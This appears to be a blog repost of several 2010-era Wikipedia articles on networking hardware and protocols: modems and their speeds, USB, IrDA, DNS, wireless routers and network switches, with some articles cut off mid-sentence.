Faster modems are used by Internet users every day, notably cable modems and ADSL modems. In telecommunications, "radio modems" transmit repeating frames of data at very high data rates over microwave radio links. Some microwave modems transmit more than a hundred million bits per second. Optical modems transmit data over optical fibers. Most intercontinental data links now use optical modems transmitting over undersea optical fibers. Optical modems routinely have data rates in excess of a billion (1x109) bits per second. One kilobit per second (kbit/s or kb/s or kbps) as used in this article means 1000 bits per second and not 1024 bits per second. For example, a 56k modem can transfer data at up to 56,000 bits (7kB) per second over the phone line.

List of dialup speeds
Note that the values given are maximum values, and actual values may be slower under certain conditions (for example, noisy phone lines). For a complete list see the companion article List of device bandwidths.

Connection Bitrate

Modem 110 baud 0.1 kbit/s
Modem 300 (300 baud) (Bell 103 or V.21) 0.3 kbit/s
Modem 1200 (600 baud) (Bell 212A or V.22) 1.2 kbit/s
Modem 2400 (600 baud) (V.22bis) 2.4 kbit/s
Modem 2400 (1200 baud) (V.26bis) 2.4 kbit/s
Modem 4800 (1600 baud) (V.27ter) 4.8 kbit/s
Modem 9600 (2400 baud) (V.32) 9.6 kbit/s
Modem 14.4 (2400 baud) (V.32bis) 14.4 kbit/s
Modem 28.8 (3200 baud) (V.34) 28.8 kbit/s
Modem 33.6 (3429 baud) (V.34) 33.6 kbit/s
Modem 56k (8000/3429 baud) (V.90) 56.0/33.6 kbit/s
Modem 56k (8000/8000 baud) (V.92) 56.0/48.0 kbit/s
Bonding Modem (two 56k modems)) (V.92) 112.0/96.0 kbit/s
Hardware compression (variable) (V.90/V.42bis) 56.0-220.0 kbit/s
Hardware compression (variable) (V.92/V.44) 56.0-320.0 kbit/s
Server-side web compression (variable) (Netscape ISP) 100.0-1000.0 kbit/s
Radio modems
Direct broadcast satellite, WiFi, and mobile phones all use modems to communicate, as do most other wireless services today. Modern telecommunications and data networks also make extensive use of radio modems where long distance data links are required. Such systems are an important part of the PSTN, and are also in common use for high-speed computer network links to outlying areas where fibre is not economical.
Even where a cable is installed, it is often possible to get better performance or make other parts of the system simpler by using radio frequencies and modulation techniques through a cable. Coaxial cable has a very large bandwidth, however signal attenuation becomes a major problem at high data rates if a digital signal is used. By using a modem, a much larger amount of digital data can be transmitted through a single piece of wire. Digital cable television and cable Internet services use radio frequency modems to provide the increasing bandwidth needs of modern households. Using a modem also allows for frequency-division multiple access to be used, making full-duplex digital communication with many users possible using a single wire.
Wireless modems come in a variety of types, bandwidths, and speeds. Wireless modems are often referred to as transparent or smart. They transmit information that is modulated onto a carrier frequency to allow many simultaneous wireless communication links to work simultaneously on different frequencies.
Transparent modems operate in a manner similar to their phone line modem cousins. Typically, they were half duplex, meaning that they could not send and receive data at the same time. Typically transparent modems are polled in a round robin manner to collect small amounts of data from scattered locations that do not have easy access to wired infrastructure. Transparent modems are most commonly used by utility companies for data collection.
Smart modems come with a media access controller inside which prevents random data from colliding and resends data that is not correctly received. Smart modems typically require more bandwidth than transparent modems, and typically achieve higher data rates. The IEEE 802.11 standard defines a short range modulation scheme that is used on a large scale throughout the world.
WiFi and WiMax
Wireless data modems are used in the WiFi and WiMax standards, operating at microwave frequencies.
WiFi (Wireless Fidelity) is principally used in laptops for Internet connections (wireless access point) and wireless application protocol (WAP).
Mobile modems & routers
Modems which use mobile phone lines (GPRS,UMTS,HSPA,EVDO,WiMax,etc.), are known as Cellular Modems. Cellular modems can be embedded inside a laptop or appliance, or they can be external to it. External cellular modems are datacards and cellular routers. The datacard is a PC card or ExpressCard which slides into a PCMCIA/PC card/ExpressCard slot on a computer. The most famous brand of Radio modem datacards is the AirCard made by Sierra Wireless. (Many people just refer to all makes and models as "AirCards", when in fact this is a trademarked brand name.) Nowadays, there are USB cellular modems as well that use a USB port on the laptop instead of a PC card or ExpressCard slot. A cellular router may or may not have an external datacard ("AirCard") that slides into it. Most cellular routers do allow such datacards or USB modems, except for the WAAV, Inc. CM3 mobile broadband cellular router. Cellular Routers may not be modems per se, but they contain modems or allow modems to be slid into them. The difference between a cellular router and a cellular modem is that a cellular router normally allows multiple people to connect to it (since it can "route"), while the modem is made for one connection.
Most of the GSM cellular modems come with an integrated SIM cardholder (i.e, Huawei E220, Sierra 881, etc.) The CDMA (EVDO) versions do not use SIM cards, but use ESN (Electronic Serial Numbers) instead.
The cost of using a cellular modem varies from country to country. Some carriers implement "flat rate" plans for unlimited data transfers. Some have caps (or maximum limits) on the amount of data that can be transferred per month. Other countries have "per Megabyte" or even "per Kilobyte" plans that charge a fixed rate per Megabyte or Kilobyte of data downloaded; this tends to add up quickly in today's content-filled world, which is why many people are pushing for flat data rates. See : flat rate.
The faster data rates of the newest cellular modem technologies (UMTS,HSPA,EVDO,WiMax) are also considered to be "Broadband Cellular Modems" and compete with other Broadband modems below.
Broadband

DSL modem
ADSL modems, a more recent development, are not limited to the telephone's "voiceband" audio frequencies. Some ADSL modems use coded orthogonal frequency division modulation (DMT).
Cable modems use a range of frequencies originally intended to carry RF television channels. Multiple cable modems attached to a single cable can use the same frequency band, using a low-level media access protocol to allow them to work together within the same channel. Typically, 'up' and 'down' signals are kept separate using frequency division multiple access.
New types of broadband modems are beginning to appear, such as doubleway satellite and power line modems.
Broadband modems should still be classed as modems, since they use complex waveforms to carry digital data. They are more advanced devices than traditional dial-up modems as they are capable of modulating/demodulating hundreds of channels simultaneously.
Many broadband modems include the functions of a router (with Ethernet and WiFi ports) and other features such as DHCP, NAT and firewall features.
When broadband technology was introduced, networking and routers were unfamiliar to consumers. However, many people knew what a modem was as most internet access was through dial-up. Due to this familiarity, companies started selling broadband modems using the familiar term "modem" rather than vaguer ones like "adapter" or "transceiver".
Many broadband modems must be configured in bridge mode before they can use a router.
Deep-space telecommunications
Many modern modems have their origin in deep space telecommunications systems of the 1960s.
Differences with deep space telecom modems vs landline modems
digital modulation formats that have high doppler immunity are typically used
waveform complexity tends to be low, typically binary phase shift keying
error correction varies mission to mission, but is typically much stronger than most landline modems
Voice modem
Voice modems are regular modems that are capable of recording or playing audio over the telephone line. They are used for telephony applications. See Voice modem command set for more details on voice modems. This type of modem can be used as FXO card for Private branch exchange systems (compare V.92).

Universal Serial Bus

2010-02-07T15:51:00.001-08:00

From Wikipedia, the free encyclopedia

Original USB Logo
Year created: January 1996
Created by: Intel, Compaq, Microsoft, Digital, IBM, Northern Telecom

Width: 1 bit
Number of devices: 127 per host controller
Capacity 12 or 480 Mbit/s (1.5 to 60 MByte/s)
Style: Serial
Hotplugging? Yes
External? Yes

A USB Series “A” plug, the most common USB plug

The USB trident logo
In information technology, Universal Serial Bus (USB) is a serial bus standard to interface devices to a host computer. USB was designed to allow many peripherals to be connected using a single standardized interface socket and to improve the Plug and play capabilities by allowing hot swapping, that is, by allowing devices to be connected and disconnected without rebooting the computer or turning off the device. Other convenient features include providing power to low-consumption devices without the need for an external power supply and allowing many devices to be used without requiring manufacturer specific, individual device drivers to be installed.
USB is intended to replace many legacy varieties of serial and parallel ports. USB can connect computer peripherals such as mice, keyboards, PDAs, gamepads and joysticks, scanners, digital cameras, printers, personal media players, and flash drives. For many of those devices USB has become the standard connection method. USB was originally designed for personal computers, but it has become commonplace on other devices such as PDAs and video game consoles, and as a bridging power cord between a device and an AC adapter plugged into a wall plug for charging purposes. As of 2008, there are about 2 billion USB devices in the world.
The design of USB is standardized by the USB Implementers Forum (USB-IF), an industry standards body incorporating leading companies from the computer and electronics industries. Notable members have included Agere (now merged with LSI Corporation), Apple Inc., Hewlett-Packard, Intel, NEC, and Microsoft.

Overview
A USB system has an asymmetric design, consisting of a host, a multitude of downstream USB ports, and multiple peripheral devices connected in a tiered-star topology. Additional USB hubs may be included in the tiers, allowing branching into a tree structure with up to five tier levels. A USB host may have multiple host controllers and each host controller may provide one or more USB ports. Up to 127 devices, including the hub devices, may be connected to a single host controller.
USB devices are linked in series through hubs. There always exists one hub known as the root hub, which is built into the host controller. So-called "sharing hubs", which allow multiple computers to access the same peripheral device(s), also exist and work by switching access between PCs, either automatically or manually. They are popular in small-office environments. In network terms, they converge rather than diverge branches.
A physical USB device may consist of several logical sub-devices that are referred to as device functions. A single device may provide several functions, for example, a webcam (video device function) with a built-in microphone (audio device function).

USB endpoints actually reside on the connected device: the channels to the host are referred to as pipes.
USB device communication is based on pipes (logical channels). Pipes are connections from the host controller to a logical entity on the device named an endpoint. The term endpoint is occasionally used to incorrectly refer to the pipe. A USB device can have up to 32 active pipes, 16 into the host controller and 16 out of the controller.
Each endpoint can transfer data in one direction only, either into or out of the device, so each pipe is uni-directional. Endpoints are grouped into interfaces and each interface is associated with a single device function. An exception to this is endpoint zero, which is used for device configuration and which is not associated with any interface.
When a USB device is first connected to a USB host, the USB device enumeration process is started. The enumeration starts by sending a reset signal to the USB device. The speed of the USB device is determined during the reset signaling. After reset, the USB device's information is read by the host, then the device is assigned a unique 7-bit address. If the device is supported by the host, the device drivers needed for communicating with the device are loaded and the device is set to a configured state. If the USB host is restarted, the enumeration process is repeated for all connected devices.
The host controller directs traffic flow to devices, so no USB device can transfer any data on the bus without an explicit request from the host controller. In USB 2.0, host controller polls the bus for traffic, usually in a round-robin fashion. In SuperSpeed USB, connected device can request service from host.
Host controllers
The computer hardware that contains the host controller and the root hub has an interface geared toward the programmer which is called Host Controller Device (HCD) and is defined by the hardware implementer.
Dual Role Host Controller Devices switch to host mode when connected to a peripheral and to peripheral mode when connected to a PC. Most host/peripheral controllers support both full- and low-speed USB devices.
In the version 1.x age, there were two competing HCD implementations, Open Host Controller Interface (OHCI) and Universal Host Controller Interface (UHCI). OHCI was developed by Compaq, Microsoft and National Semiconductor; UHCI was by Intel.

A typical USB connector.
VIA Technologies licensed the UHCI standard from Intel; all other chip set implementers use OHCI. UHCI is more software-driven, making UHCI slightly more processor-intensive than OHCI but cheaper to implement. The dueling implementations forced operating system vendors and hardware vendors to develop and test on both implementations, which increased cost.
HCD standards are out of the USB specification's scope, and the USB specification does not specify any HCD interfaces. In other words, USB defines the format of data transfer through the port, but not the system by which the USB hardware communicates with the computer it sits in.
During the design phase of USB 2.0, the USB-IF insisted on only one implementation. The USB 2.0 HCD implementation is called the Enhanced Host Controller Interface (EHCI). Only EHCI can support hi-speed (480 Mbit/s) transfers. Most of PCI-based EHCI controllers contain other HCD implementations called 'companion host controller' to support Full Speed (12 Mbit/s may be used for any device that claims to be a member of a certain class. An operating system is supposed to implement all device classes so as to provide generic drivers for any USB device. Device classes are decided upon by the Device Working Group of the USB Implementers Forum.
During USB 3.0 development, Intel released the Extensible Host Controller Interface (xHCI) Draft Specification, which became a basis of USB 3.0 standard.
USB mass-storage

A flash drive, a typical USB mass-storage device.
USB implements connections to storage devices using a set of standards called the USB mass storage device class (referred to as MSC or UMS). This was initially intended for traditional magnetic and optical drives, but has been extended to support a wide variety of devices, particularly flash drives. This generality is because many systems can be controlled with the familiar idiom of file manipulation within directories (The process of making a novel device look like a familiar device is also known as extension).
Though most newer computers are capable of booting off USB Mass Storage devices, USB is not intended to be a primary bus for a computer's internal storage: buses such as ATA (IDE), Serial ATA (SATA), and SCSI fulfill that role. However, USB has one important advantage in that it is possible to install and remove devices without opening the computer case, making it useful for external drives. Originally conceived and still used today for optical storage devices (CD-RW drives, DVD drives, etc.), a number of manufacturers offer external portable USB hard drives, or empty enclosures for drives, that offer performance comparable to internal drivesThese external drives usually contain a translating device that interfaces a drive of conventional technology (IDE, ATA, SATA, ATAPI, or even SCSI) to a USB port. Functionally, the drive appears to the user just like an internal drive. Other competing standards that allow for external connectivity are eSATA and FireWire.
Another use for USB Mass Storage devices is the portable running of software applications without the need of installation on the host computer, eg. Web Browser, VoIP, etc.
Human-interface devices (HIDs)
Mice and keyboards are frequently fitted with USB connectors, but because most PC motherboards still retain PS/2 connectors for the keyboard and mouse as of 2007, they are often supplied with a small USB-to-PS/2 adaptor, allowing usage with either USB or PS/2 interface. There is no logic inside these adaptors: they make use of the fact that such HID interfaces are equipped with controllers that are capable of serving both the USB and the PS/2 protocol, and automatically detect which type of port they are plugged into. Joysticks, keypads, tablets and other human-interface devices are also progressively migrating from MIDI, PC game port, and PS/2 connectors to USB.
Apple Macintosh computers have been using USB exclusively for all external wired mice and keyboards since January 1999. The original iMac raised public awareness of USB considerably in August 1998, as it discarded legacy ports to use only USB. PCs had USB ports prior to the iMac's introduction, but they were included with a full complement of traditional ports which slowed down USB's adoption. The iMac's influence can be seen in the number of USB peripherals with matching translucent, colored plastic enclosures that were available in the late '90s and early '00s.
USB signaling
USB supports following data rates:
The Full Speed rate of 12 Mbit/s (1.5 MB/s) is the basic USB data rate defined by USB 1.0. All USB hubs support Full Speed.
A Low Speed rate of 1.5 Mbit/s (187.5 kB/s) is also defined by USB 1.0. It is very similar to full speed operation except that each bit takes 8 times as long to transmit. It is intended primarily to save cost in low-bandwidth Human Interface Devices (HID) such as keyboards, mice, and joysticks.
A High-Speed (USB 2.0) rate of 480 Mbit/s (60 MB/s) was introduced in 2001. All high-speed devices are capable of falling back to full-speed operation if necessary.
Experimental data rate:
A SuperSpeed (USB 3.0) rate of 5.0 Gbit/s (625 MB/s). The USB 3.0 specification was released by Intel and its partners in August 2008, according to early reports from CNET news. Products using the 3.0 specification are likely to arrive in 2009 or 2010.
USB signals are transmitted on a twisted pair data cable with 90Ω ±15% impedance,labeled D+ and D−. These collectively use half-duplex differential signaling to combat the effects of electromagnetic noise on longer lines. Transmitted signal levels are 0.0–0.3 volts for low and 2.8–3.6 volts for high in Full Speed (FS) and Low Speed (LS) modes, and -10–10 mV for low and 360–440 mV for high in High Speed (HS) mode. In FS mode the cable wires are not terminated, but the HS mode has termination of 45Ω to ground, or 90Ω differential to match the data cable impedance.
A USB connection is always between a host or hub at the "A" connector end, and a device or hub's upstream port at the other end. The host includes 15 kΩ pull-down resistors on each data line. When no device is connected, this pulls both data lines low into the so-called "single-ended zero" state (SE0 in the USB documentation), and indicates a reset or disconnected connection.
A USB device pulls one of the data lines high with a 1.5 kΩ resistor. This overpowers one of the pull-down resistors in the host and leaves the data lines in an idle state called "J". The choice of data line indicates a device's speed support; full-speed devices pull D+ high, while low-speed devices pull D− high.
USB data is transmitted by toggling the data lines between the J state and the opposite K state. USB encodes data using the NRZI convention; a 0 bit is transmitted by toggling the data lines from J to K or vice-versa, while a 1 bit is transmitted by leaving the data lines as-is. To ensure a minimum density of signal transitions, USB uses bit stuffing; an extra 0 bit is inserted into the data stream after any appearance of six consecutive 1 bits. Seven consecutive 1 bits is always an error.
A USB frame begins with an 8-bit synchronization sequence 00000001. That is, after the initial idle state J, the data lines toggle KJKJKJKK. The final 1 bit (repeated K state) marks the end of the sync pattern and the beginning of the USB frame proper.
A USB frame's end, called EOP (end-of-packet), is indicated by the transmitter driving 2 bit times of SE0 (D+ and D- both below Vil max) and 1 bit time of J state. After this, the transmitter ceases to drive the D+/D− lines and the aforementioned resistors hold it in the J (idle) state. A receiver may take extra time to decode the SE0 state, and will see the first bit time as a repetition of the last data bit. Since USB frames are always a multiple of 8 bits long, this extra "dribble bit" can be detected and ignored.
A USB bus is reset using a prolonged (10 to 20 milliseconds) SE0 signal.
USB 2.0 devices use a special protocol during reset, called "chirping", to negotiate the High-Speed mode with the host/hub. A device that is HS capable first connects as an FS device (D+ pulled high), but upon receiving a USB RESET (both D+ and D- driven LOW by host for 10 to 20 mS) it pulls the D- line high. If the host/hub is also HS capable, it chirps (returns alternating J and K states on D- and D+ lines) letting the device know that the hub will operate at High Speed.
Clock tolerance is 480.00 Mbit/s ±500 ppm, 12.000 Mbit/s ±2500 ppm, 1.50 Mbit/s ±15000 ppm.
Though Hi-Speed devices are commonly referred to as "USB 2.0" and advertised as "up to 480 Mbit/s", not all USB 2.0 devices are Hi-Speed. The USB-IF certifies devices and provides licenses to use special marketing logos for either "Basic-Speed" (low and full) or Hi-Speed after passing a compliance test and paying a licensing fee. All devices are tested according to the latest spec, so recently-compliant Low-Speed devices are also 2.0 devices.
The actual throughput currently (2006) attained with real devices is about two thirds of the maximum theoretical bulk data transfer rate of 53.248 MB/s. Typical hi-speed USB devices operate at lower speeds, often about 3 MB/s overall, sometimes up to 10–20 MB/s.

Infrared Data Association

2010-02-07T15:50:00.001-08:00

From Wikipedia, the free encyclopedia

IrDA Logo

IrDA via USB

IrDA in mobile phone Siemens CXT70
The Infrared Data Association (IrDA) defines physical specifications communication protocolnstandards for the short-range exchange of data over infrared light, for uses such as personal area networks (PANs).
IrDA is a very short-range example of free space optical communication.
IrDA interfaces are used in palmtop computers, mobile phones, and laptop computers (most laptops and phones also offer Bluetooth, but it is now becoming more common for Bluetooth to simply replace IrDA in new versions of products).
IrDA specifications include IrPHY, IrLAP, IrLMP, IrCOMM, Tiny TP, IrOBEX, IrLAN and IrSimple. IrDA has now produced another standard, IrFM, for Infrared financial messaging (i.e., for making payments) also known as "Point & Pay".
For the devices to communicate via IrDA they must have a direct line of sight.

Specifications
IrPHY
The mandatory IrPHY (Infrared Physical Layer Specification) is the lowest layer of the IrDA specifications. The most important specifications are:
Range: standard: 1 m; low-power to low power: 0.2 m; standard to low power: 0.3 m
Angle: minimum cone +-15°
Speed: 2.4 kbit/s to 16 Mbit/s
Modulation: baseband, no carrier
Infrared window
IrDA transceivers communicate with infrared pulses (samples) in a cone that extends minimum 15 degrees half angle off center. The IrDA physical specifications require that a minimum irradiance be maintained so that a signal is visible up to a meter away. Similarly, the specifications require that a maximum irradiance not be exceeded so that a receiver is not overwhelmed with brightness when a device comes close. In practice, there are some devices on the market that do not reach one meter, while other devices may reach up to several meters. There are also devices that do not tolerate extreme closeness. The typical sweet spot for IrDA communications is from 5 cm (~2 in.) to 60 cm (~2 ft.) away from a transceiver, in the center of the cone. IrDA data communications operate in half-duplex mode because while transmitting, a device’s receiver is blinded by the light of its own transmitter, and thus, full-duplex communication is not feasible. The two devices that communicate simulate full duplex communication by quickly turning the link around. The primary device controls the timing of the link, but both sides are bound to certain hard constraints and are encouraged to turn the link around as fast as possible.
Transmission rates fall into three broad categories: SIR, MIR, and FIR. Serial Infrared (SIR) speeds cover those transmission speeds normally supported by an RS-232 port (9600 bit/s, 19.2 kbit/s, 38.4 kbit/s, 57.6 kbit/s, 115.2 kbit/s). Since the lowest common denominator for all devices is 9600 bit/s, all discovery and negotiation is performed at this baud rate. MIR (Medium Infrared) is not an official term, but is sometimes used to refer to speeds of 0.576 Mbit/s and 1.152 Mbit/s. Fast Infrared (FIR) is deemed an obsolete term by the IrDA physical specification, but is nonetheless in common usage to denote transmission at 4 Mbit/s. “FIR” is sometimes used to refer to all speeds above SIR. However, different encoding approaches are used by MIR and FIR, and different approaches frame MIR and FIR packets. For that reason, these unofficial terms have sprung up to differentiate these two approaches. The future holds faster transmission speeds (currently referred to as Very Fast Infrared, or VFIR) which will support speeds up to 16 Mbit/s. There are (VFIR) infrared transceivers available such as the TFDU8108 operating from 9.6 kbit/s to 16 Mbit/s. The UFIR (Ultra Fast Infrared) protocol is also in development. It will support speeds up to 100 Mbit/s.
These are distinguished from other similar infrared communications systems that operate outside IrDA specifications. PDA communications formats such as HPSIR and ASKIR are such. This also includes CIR (Consumer IR), commonly used in remote controls, based on a raw protocol who uses sequences of pulse and space. It's possible to manage CIR via software like Lirc.
IrLAP
The mandatory IrLAP (Infrared Link Access Protocol) is the second layer of the IrDA specifications. It lies on top of the IrPHY layer and below the IrLMP layer. It represents the Data Link Layer of the OSI model. The most important specifications are:
Access control
Discovery of potential communication partners
Establishing of a reliable bidirectional connection
Negotiation of the Primary/Secondary device roles
On the IrLAP layer the communicating devices are divided into a Primary Device and one or more Secondary Devices. The Primary Device controls the Secondary Devices. Only if the Primary Device requests a Secondary Device to send is it allowed to do so.
IrLMP
The mandatory IrLMP (Infrared Link Management Protocol) is the third layer of the IrDA specifications. It can be broken down into two parts. First, the LM-MUX (Link Management Multiplexer) which lies on top of the IrLAP layer. Its most important achievements are:
Provides multiple logical channels
Allows change of Primary/Secondary devices
Second, the LM-IAS (Link Management Information Access Service), which provides a list, where service providers can register their services so other devices can access these services via querying the LM-IAS.
Tiny TP
The optional Tiny TP (Tiny Transport Protocol) lies on top of the IrLMP layer. It provides:
Transportation of large messages by SAR (Segmentation and Reassembly)
Flow control by giving credits to every logical channel
IrCOMM
The optional IrCOMM (Infrared Communications Protocol) lets the infrared device act like either a serial or parallel port. It lies on top of the IrLMP layer.
IrOBEX
The optional IrOBEX (Infrared Object Exchange) provides the exchange of arbitrary data objects (e.g. vCard, vCalendar or even applications) between infrared devices. It lies on top of the Tiny TP protocol, so Tiny TP is mandatory for IrOBEX to work.
IrLAN
The optional IrLAN (Infrared Local Area Network) provides the possibility to connect an infrared device to a local area network. There are three possible methods:
Access Point
Peer to Peer
Hosted
As IrLAN lies on top of the Tiny TP protocol, the Tiny TP protocol must be implemented for IrLAN to work.
IrSimple
IrSimple achieves at least 4 to 10 times faster data transmission speeds by improving the efficiency of the infrared IrDA protocol.
IrSimpleShot
One of the primary targets of IrSimpleShot (IrSS) is to allow the millions of IrDA-enabled camera phones to wirelessly transfer pictures to printers and printer kiosks.
Popularity
IrDA was popular on laptops and some desktops during the late 90s through the early 2000s. However, it has been displaced by other wireless technologies such as WiFi and Bluetooth, favored because they don't need a direct line of sight, and can therefore support hardware such as mice and keyboards. It is still used in some environments where interference makes radio-based wireless technologies unusable.

Domain Name System

2010-02-07T15:49:00.003-08:00

From Wikipedia, the free encyclopedia
The Domain Name System (DNS) is a hierarchical naming system for computers, services, or any resource participating in the Internet. It associates various information with domain names assigned to such participants. Most importantly, it translates human meaningful domain names to the numerical (binary) identifiers associated with networking equipment for the purpose of locating and addressing these devices world-wide. An often used analogy to explain the Domain Name System is that it serves as the "phone book" for the Internet by translating human-friendly computer hostnames into IP addresses. For example, www.example.com translates to 208.77.188.166.
The Domain Name System makes it possible to assign domain names to groups of Internet users in a meaningful way, independent of each user's physical location. Because of this, World-Wide Web (WWW) hyperlinks and Internet contact information can remain consistent and constant even if the current Internet routing arrangements change or the participant uses a mobile device. Internet domain names are easier to remember than IP addresses such as 208.77.188.166(IPv4) or 2001:db8:1f70::999:de8:7648:6e8 (IPv6). People take advantage of this when they recite meaningful URLs and e-mail addresses without having to know how the machine will actually locate them.
The Domain Name System distributes the responsibility of assigning domain names and mapping those names to IP addresses by designating authoritative name servers for each domain. Authoritative name servers are assigned to be responsible for their particular domains, and in turn can assign other authoritative name servers for their sub-domains. This mechanism has made the DNS distributed, fault tolerant, and helped avoid the need for a single central register to be continually consulted and updated.
In general, the Domain Name System also stores other types of information, such as the list of mail servers that accept email for a given Internet domain. By providing a world-wide, distributed keyword-based redirection service, the Domain Name System is an essential component of the functionality of the Internet.
Other identifiers such as RFID tags, UPC codes, International characters in email addresses and host names, and a variety of other identifiers could all potentially utilize DNS
The Domain Name System also defines the technical underpinnings of the functionality of this database service. For this purpose it defines the DNS protocol, a detailed specification of the data structures and communication exchanges used in DNS, as part of the Internet Protocol Suite (TCP/IP). The context of the DNS within the Internet protocols may be seen in the following diagram. The DNS protocol was developed and defined in the early 1980s and published by the Internet Engineering Task Force (cf. History).

Structure
The domain name space

Domain names, arranged in a tree, cut into zones, each served by a nameserver.
The domain name space consists of a tree of domain names. Each node or leaf in the tree has zero or more resource records, which hold information associated with the domain name. The tree sub-divides into zones beginning at the root zone. A DNS zone consists of a collection of connected nodes authoritatively served by an authoritative nameserver. (Note that a single nameserver can host several zones.)
Administrative responsibility over any zone may be divided, thereby creating additional zones. Authority is said to be delegated for a portion of the old space, usually in form of sub-domains, to another nameserver and administrative entity. The old zone ceases to be authoritative for the new zone.
Parts of a domain name
A domain name usually consists of two or more parts (technically a label), which is conventionally written separated by dots, such as example.com.
The rightmost label conveys the top-level domain (for example, the address www.example.com has the top-level domain com).
Each label to the left specifies a subdivision, or subdomain of the domain above it. Note: “subdomain” expresses relative dependence, not absolute dependence. For example: example.com is a subdomain of the com domain, and www.example.com is a subdomain of the domain example.com. In theory, this subdivision can go down 127 levels. Each label can contain up to 63 octets. The whole domain name may not exceed a total length of 253 octets. In practice, some domain registries may have shorter limits.
A hostname refers to a domain name that has one or more associated IP addresses; ie: the 'www.example.com' and 'example.com' domains are both hostnames, however, the 'com' domain is not.
DNS servers
Main article: Name server
The Domain Name System is maintained by a distributed database system, which uses the client-server model. The nodes of this database are the name servers. Each domain or subdomain has one or more authoritative DNS servers that publish information about that domain and the name servers of any domains subordinate to it. The top of the hierarchy is served by the root nameservers: the servers to query when looking up (resolving) a top-level domain name (TLD).
DNS resolvers

The client-side of the DNS is called a DNS resolver. It is responsible for initiating and sequencing the queries that ultimately lead to a full resolution (translation) of the resource sought, e.g., translation of a domain name into an IP address.
A DNS query may be either a recursive query or a non-recursive query:
A non-recursive query is one in which the DNS server may provide a partial answer to the query (or give an error).
A recursive query is one where the DNS server will fully answer the query (or give an error). DNS servers are not required to support recursive queries.
The resolver (or another DNS server acting recursively on behalf of the resolver) negotiates use of recursive service using bits in the query headers.
Resolving usually entails iterating through several name servers to find the needed information. However, some resolvers function simplistically and can communicate only with a single name server. These simple resolvers rely on a recursive query to a recursive name server to perform the work of finding information for them.
Address resolution mechanism
(This description deliberately uses the fictional .example TLD in accordance with the DNS guidelines.)
In theory a full host name may have several name segments, (e.g ahost.ofasubnet.ofabiggernet.inadomain.example). In practice, full host names will frequently consist of just three segments (ahost.inadomain.example, and most often www.inadomain.example). For querying purposes, software interprets the name segment by segment, from right to left, using an iterative search procedure. At each step along the way, the program queries a corresponding DNS server to provide a pointer to the next server which it should consult.

A DNS recursor consults three nameservers to resolve the address www.wikipedia.org.
As originally envisaged, the process was as simple as:
the local system is pre-configured with the known addresses of the root servers in a file of root hints, which need to be updated periodically by the local administrator from a reliable source to be kept up to date with the changes which occur over time.
query one of the root servers to find the server authoritative for the next level down (so in the case of our simple hostname, a root server would be asked for the address of a server with detailed knowledge of the example top level domain).
querying this second server for the address of a DNS server with detailed knowledge of the second-level domain (inadomain.example in our example).
repeating the previous step to progress down the name, until the final step which would, rather than generating the address of the next DNS server, return the final address sought.
The diagram illustrates this process for the real host www.wikipedia.org.
The mechanism in this simple form has a difficulty: it places a huge operating burden on the root servers, with every search for an address starting by querying one of them. Being as critical as they are to the overall function of the system, such heavy use would create an insurmountable bottleneck for trillions of queries placed every day. In practice caching is used to overcome this problem, and in actual fact root nameservers deal with very little of the total traffic.
Circular dependencies and glue records
Name servers in delegations appear listed by name, rather than by IP address. This means that a resolving name server must issue another DNS request to find out the IP address of the server to which it has been referred. Since this can introduce a circular dependency if the nameserver referred to is under the domain that it is authoritative of, it is occasionally necessary for the nameserver providing the delegation to also provide the IP address of the next nameserver. This record is called a glue record.
For example, assume that the sub-domain en.wikipedia.org contains further sub-domains (such as something.en.wikipedia.org) and that the authoritative name server for these lives at ns1.something.en.wikipedia.org. A computer trying to resolve something.en.wikipedia.org will thus first have to resolve ns1.something.en.wikipedia.org. Since ns1 is also under the something.en.wikipedia.org subdomain, resolving ns1.something.en.wikipedia.org requires resolving something.en.wikipedia.org which is exactly the circular dependency mentioned above. The dependency is broken by the glue record in the nameserver of en.wikipedia.org that provides the IP address of ns1.something.en.wikipedia.org directly to the requestor, enabling it to bootstrap the process by figuring out where ns1.something.en.wikipedia.org is located.
Wildcard DNS records

DNS also supports wildcard DNS records that will match requests for non-existent domain names. A wildcard DNS record is specified by using a "*" as the left most label (part) of a domain name, e.g. *.example.com. The exact rules about when a wild card will match is s

Wireless router

2010-02-07T15:49:00.001-08:00

From Wikipedia, the free encyclopedia

A typical wireless router
A wireless router is a network device that performs the functions of a router but also includes the functions of a wireless access point. It is commonly used to allow access to the Internet or a computer network without the need for a cabled connection. It can function in a wired LAN (local area network), a wireless only LAN, or a mixed wired/wireless network. Most current wireless routers have the following characteristics:
LAN ports, which function in the same manner as the ports of a network switch
A WAN port, to connect to a wider area network. The routing functions are filtered using this port. If it is not used, many functions of the router will be bypassed.
Wireless antennae. These allow connections from other wireless devices (NICs (network interface cards), wireless repeaters, wireless access points, and wireless bridges, for example). WAP functions
The wireless functions operate as a separate nested "mini-LAN" within the router. The devices that connect wirelessly use the wireless router as their hub, and the wireless router presents that "mini-LAN" as a single device to the rest of the LAN. This mini-LAN has the same features as discrete WAPs have.
Wireless routers, access points, and bridges are available that utilize each of the commonly used wireless frequencies (used in the Wireless-B, Wireless-A (and -G), and Wireless-N standards). The frequency bands for these wireless standards can be used license-free in most countries.
Wireless routers can work with devices in a point-to-point mode, but more commonly functions in a point to multipoint mode.
Wireless devices used that communicate with the wireless router must be set to the same service set identifier (SSID) and radio channel

Network switch
From Wikipedia, the free encyclopedia

Typical SOHO network switch.

Back view of Atlantis network switch Ethernet Port.
A network switch is a broad and imprecise marketing term for a computer networking device that connects network segments.
The term commonly refers to a Network bridge that processes and routes data at the Data lin layer (layer 2) of the OSI model. Switches that additionally process data at the Network layer (layer 3 and above) are often referred to as Layer 3 switches or Multilayer switches.
The term Network switch does not generally encompass unintelligent or passive network devices such as hubs and repeaters.
The first Ethernet switch was introduced by Kalpana in 1990.

Function
As with hubs, Ethernet implementations of network switches support either 10/100 Mbit/s or 10/100/1000 Mbit/s ports Ethernet standards. Large switches may have 10 Gbit/s ports. Switches differ from hubs in that they can have ports of different speed.
The network switch, packet switch (or just switch) plays an integral part in most Ethernet local area networks or LANs. Mid-to-large sized LANs contain a number of linked managed switches. Small office, home office (SOHO) applications typically use a single switch, or an all-purpose converged device such as gateway access to small office/home office broadband services such as DSL router or cable, Wi-Fi router. In most of these cases, the end user device contains a router and components that interface to the particular physical broadband technology, as in the Linksys 8-port and 48-port devices. User devices may also include a telephone interface to VoIP.
